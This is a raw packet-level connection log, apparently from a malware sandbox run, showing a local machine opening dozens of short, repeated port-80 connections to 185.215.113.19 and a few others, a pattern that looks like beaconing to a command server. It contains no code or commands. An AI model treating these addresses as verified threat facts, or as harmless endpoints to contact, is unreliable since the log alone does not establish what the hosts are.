Jul 26, 2024 13:52:34.518376112 CEST	80	63481	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:35.260282040 CEST	80	63481	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:35.261481047 CEST	63481	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:35.366775036 CEST	63481	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:35.367043018 CEST	63482	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:35.372459888 CEST	80	63482	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:35.372721910 CEST	63482	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:35.372886896 CEST	63482	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:35.373305082 CEST	80	63481	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:35.373394966 CEST	63481	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:35.377897978 CEST	80	63482	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:36.131280899 CEST	80	63482	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:36.133850098 CEST	63482	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:36.136512995 CEST	63482	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:36.136909008 CEST	63483	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:36.142173052 CEST	80	63482	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:36.142232895 CEST	80	63483	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:36.142267942 CEST	63482	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:36.142396927 CEST	63483	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:36.142502069 CEST	63483	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:36.147819042 CEST	80	63483	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:36.915396929 CEST	80	63483	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:36.915621996 CEST	63483	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:37.038543940 CEST	63483	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:37.038875103 CEST	63484	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:37.043874979 CEST	80	63484	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:37.043991089 CEST	63484	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:37.044109106 CEST	63484	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:37.044843912 CEST	80	63483	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:37.045376062 CEST	63483	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:37.049674034 CEST	80	63484	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:37.831314087 CEST	80	63484	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:37.831692934 CEST	63484	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:37.834742069 CEST	63484	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:37.835006952 CEST	63485	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:37.839951038 CEST	80	63485	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:37.840043068 CEST	63485	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:37.840255022 CEST	80	63484	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:37.840368986 CEST	63485	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:37.840426922 CEST	63484	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:37.846501112 CEST	80	63485	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:38.603415966 CEST	80	63485	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:38.604916096 CEST	63485	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:38.709435940 CEST	63485	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:38.709435940 CEST	63486	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:38.714806080 CEST	80	63486	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:38.714960098 CEST	63486	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:38.715084076 CEST	63486	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:38.715523005 CEST	80	63485	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:38.715748072 CEST	63485	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:38.720184088 CEST	80	63486	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:39.493489027 CEST	80	63486	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:39.493545055 CEST	63486	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:39.496576071 CEST	63486	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:39.496937037 CEST	63487	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:39.502118111 CEST	80	63487	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:39.502232075 CEST	63487	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:39.502341986 CEST	63487	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:39.508217096 CEST	80	63487	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:39.509437084 CEST	80	63486	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:39.509502888 CEST	63486	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:39.935499907 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:39.935503960 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:39.940377951 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:39.940570116 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:40.267185926 CEST	80	63487	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:40.268680096 CEST	63487	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:40.381691933 CEST	63487	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:40.382033110 CEST	63488	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:40.387799025 CEST	80	63488	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:40.387900114 CEST	63488	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:40.388055086 CEST	63488	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:40.388288021 CEST	80	63487	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:40.388398886 CEST	63487	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:40.392935038 CEST	80	63488	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:41.155509949 CEST	80	63488	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:41.155599117 CEST	63488	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:41.158580065 CEST	63488	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:41.158883095 CEST	63489	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:41.164249897 CEST	80	63489	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:41.164339066 CEST	63489	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:41.164474010 CEST	63489	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:41.165719986 CEST	80	63488	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:41.165779114 CEST	63488	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:41.172425032 CEST	80	63489	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:41.939419985 CEST	80	63489	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:41.939538956 CEST	63489	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:42.053071022 CEST	63489	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:42.053332090 CEST	63490	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:42.059948921 CEST	80	63490	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:42.060076952 CEST	63490	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:42.060357094 CEST	80	63489	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:42.060401917 CEST	63490	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:42.060447931 CEST	63489	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:42.065207005 CEST	80	63490	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:42.858134985 CEST	80	63490	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:42.860294104 CEST	63490	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:42.863004923 CEST	63490	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:42.863353968 CEST	63491	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:42.868283033 CEST	80	63491	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:42.868330956 CEST	80	63490	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:42.868454933 CEST	63490	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:42.868499994 CEST	63491	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:42.868805885 CEST	63491	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:42.874830961 CEST	80	63491	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:43.612782001 CEST	80	63491	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:43.612880945 CEST	63491	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:43.725219965 CEST	63491	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:43.725492954 CEST	63492	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:43.730542898 CEST	80	63492	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:43.730694056 CEST	63492	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:43.730703115 CEST	80	63491	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:43.730787992 CEST	63491	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:43.731000900 CEST	63492	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:43.736000061 CEST	80	63492	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:44.482501984 CEST	80	63492	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:44.482793093 CEST	63492	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:44.485059023 CEST	63492	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:44.485420942 CEST	63493	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:44.490360022 CEST	80	63493	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:44.490415096 CEST	80	63492	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:44.490474939 CEST	63492	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:44.490490913 CEST	63493	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:44.490648031 CEST	63493	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:44.496036053 CEST	80	63493	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:45.260200977 CEST	80	63493	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:45.260354042 CEST	63493	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:45.373214006 CEST	63493	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:45.373477936 CEST	63494	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:45.379235983 CEST	80	63494	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:45.379329920 CEST	63494	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:45.379391909 CEST	80	63493	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:45.379447937 CEST	63493	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:45.379463911 CEST	63494	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:45.384298086 CEST	80	63494	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:46.156380892 CEST	80	63494	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:46.156497002 CEST	63494	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:46.160677910 CEST	63494	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:46.160918951 CEST	63495	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:46.165747881 CEST	80	63495	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:46.165970087 CEST	80	63494	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:46.166178942 CEST	63494	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:46.166193962 CEST	63495	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:46.166620970 CEST	63495	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:46.171382904 CEST	80	63495	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:46.911920071 CEST	80	63495	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:46.912065029 CEST	63495	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:47.025001049 CEST	63495	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:47.025001049 CEST	63496	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:47.030019045 CEST	80	63496	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:47.030178070 CEST	63496	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:47.030281067 CEST	63496	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:47.030550003 CEST	80	63495	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:47.030706882 CEST	63495	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:47.035753012 CEST	80	63496	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:47.808624029 CEST	80	63496	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:47.813080072 CEST	63496	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:47.816472054 CEST	63496	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:47.816745043 CEST	63497	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:47.821578979 CEST	80	63497	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:47.822899103 CEST	63497	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:47.823075056 CEST	63497	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:47.828193903 CEST	80	63497	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:47.832871914 CEST	80	63496	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:47.832958937 CEST	63496	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:48.578706980 CEST	80	63497	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:48.578862906 CEST	63497	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:48.695972919 CEST	63497	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:48.696383953 CEST	63498	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:48.701550007 CEST	80	63498	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:48.701724052 CEST	80	63497	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:48.702565908 CEST	63497	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:48.702656031 CEST	63498	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:48.704627037 CEST	63498	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:48.709515095 CEST	80	63498	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:49.536158085 CEST	80	63498	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:49.536269903 CEST	63498	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:49.539799929 CEST	63498	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:49.540074110 CEST	63499	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:49.545078993 CEST	80	63499	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:49.545161009 CEST	80	63498	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:49.545161009 CEST	63499	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:49.545200109 CEST	63498	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:49.545327902 CEST	63499	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:49.550118923 CEST	80	63499	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:50.020354033 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:50.020350933 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:50.025794983 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:50.025820971 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:50.294120073 CEST	80	63499	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:50.294336081 CEST	63499	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:50.404947042 CEST	63499	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:50.405205965 CEST	63500	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:50.410882950 CEST	80	63500	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:50.411000013 CEST	63500	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:50.411096096 CEST	63500	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:50.412527084 CEST	80	63499	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:50.412585020 CEST	63499	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:50.416188955 CEST	80	63500	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:51.163446903 CEST	80	63500	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:51.163609982 CEST	63500	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:51.165800095 CEST	63500	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:51.166155100 CEST	63501	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:51.171978951 CEST	80	63501	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:51.172075987 CEST	63501	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:51.172185898 CEST	63501	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:51.172513962 CEST	80	63500	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:51.172596931 CEST	63500	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:51.179157019 CEST	80	63501	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:51.791743040 CEST	63358	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:52:51.796763897 CEST	80	63358	185.215.113.16	192.168.2.6
Jul 26, 2024 13:52:51.931886911 CEST	80	63501	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:51.931967020 CEST	63501	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:52.035864115 CEST	63501	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:52.036122084 CEST	63503	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:52.041183949 CEST	80	63503	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:52.041250944 CEST	63503	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:52.041351080 CEST	63503	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:52.041481018 CEST	80	63501	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:52.041558027 CEST	63501	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:52.046181917 CEST	80	63503	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:52.392330885 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:52.397908926 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:52.490062952 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:52.493611097 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:52.498943090 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:52.535732985 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:52.588392973 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:52.636225939 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:52.862905979 CEST	80	63503	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:52.863007069 CEST	63503	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:52.865634918 CEST	63503	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:52.866082907 CEST	63504	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:52.871077061 CEST	80	63504	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:52.871237993 CEST	80	63503	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:52.872232914 CEST	63503	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:52.872241974 CEST	63504	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:52.872728109 CEST	63504	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:52.877521038 CEST	80	63504	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:53.644808054 CEST	80	63504	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:53.644912958 CEST	63504	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:53.765212059 CEST	63504	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:53.765402079 CEST	63505	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:53.997489929 CEST	80	63505	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:53.997612000 CEST	63505	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:53.997957945 CEST	63505	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:54.000922918 CEST	80	63504	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:54.000998020 CEST	63504	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:54.005712032 CEST	80	63505	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:54.762763023 CEST	80	63505	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:54.763303995 CEST	63505	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:54.765321970 CEST	63505	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:54.765321970 CEST	63506	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:54.771497965 CEST	80	63506	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:54.771797895 CEST	63506	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:54.771797895 CEST	63506	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:54.771939039 CEST	80	63505	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:54.772362947 CEST	63505	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:54.778225899 CEST	80	63506	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:55.546875000 CEST	80	63506	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:55.546928883 CEST	63506	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:55.657279968 CEST	63506	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:55.657630920 CEST	63507	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:55.662827969 CEST	80	63506	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:55.662856102 CEST	80	63507	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:55.662892103 CEST	63506	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:55.662936926 CEST	63507	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:55.663049936 CEST	63507	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:55.668171883 CEST	80	63507	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:56.403187990 CEST	80	63507	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:56.403296947 CEST	63507	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:56.406179905 CEST	63507	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:56.406521082 CEST	63508	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:56.413218975 CEST	80	63508	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:56.413872957 CEST	80	63507	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:56.414786100 CEST	63507	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:56.414863110 CEST	63508	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:56.415069103 CEST	63508	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:56.421077013 CEST	80	63508	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:57.224282026 CEST	80	63508	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:57.224544048 CEST	63508	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:57.349742889 CEST	63508	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:57.349896908 CEST	63509	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:57.355314970 CEST	80	63508	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:57.355612040 CEST	80	63509	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:57.356497049 CEST	63508	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:57.356525898 CEST	63509	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:57.356985092 CEST	63509	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:57.365695953 CEST	80	63509	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:58.609544039 CEST	80	63509	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:58.609652996 CEST	63509	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:58.609671116 CEST	80	63509	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:58.609846115 CEST	80	63509	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:58.609941006 CEST	63509	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:58.610003948 CEST	63509	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:58.613018990 CEST	63509	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:58.613225937 CEST	63510	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:58.873320103 CEST	80	63510	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:58.873424053 CEST	63510	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:58.873883009 CEST	63510	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:58.874564886 CEST	80	63509	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:58.874646902 CEST	63509	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:58.878973961 CEST	80	63510	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:59.648936033 CEST	80	63510	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:59.650652885 CEST	63510	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:59.762303114 CEST	63510	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:59.762517929 CEST	63511	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:59.768191099 CEST	80	63511	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:59.768471956 CEST	63511	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:59.768471956 CEST	63511	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:59.770241022 CEST	80	63510	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:59.771055937 CEST	63510	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:59.776046991 CEST	80	63511	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:00.518091917 CEST	80	63511	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:00.518191099 CEST	63511	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:00.521120071 CEST	63511	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:00.521373034 CEST	63512	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:00.526170969 CEST	80	63512	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:00.526323080 CEST	63512	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:00.526603937 CEST	63512	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:00.526957989 CEST	80	63511	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:00.527024984 CEST	63511	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:00.531976938 CEST	80	63512	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:01.278130054 CEST	80	63512	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:01.280652046 CEST	63512	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:01.392199039 CEST	63512	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:01.392350912 CEST	63513	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:01.397418976 CEST	80	63513	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:01.397624969 CEST	80	63512	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:01.397696018 CEST	63513	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:01.397747040 CEST	63512	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:01.397948980 CEST	63513	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:01.402760029 CEST	80	63513	185.215.113.19	192.168.2.6
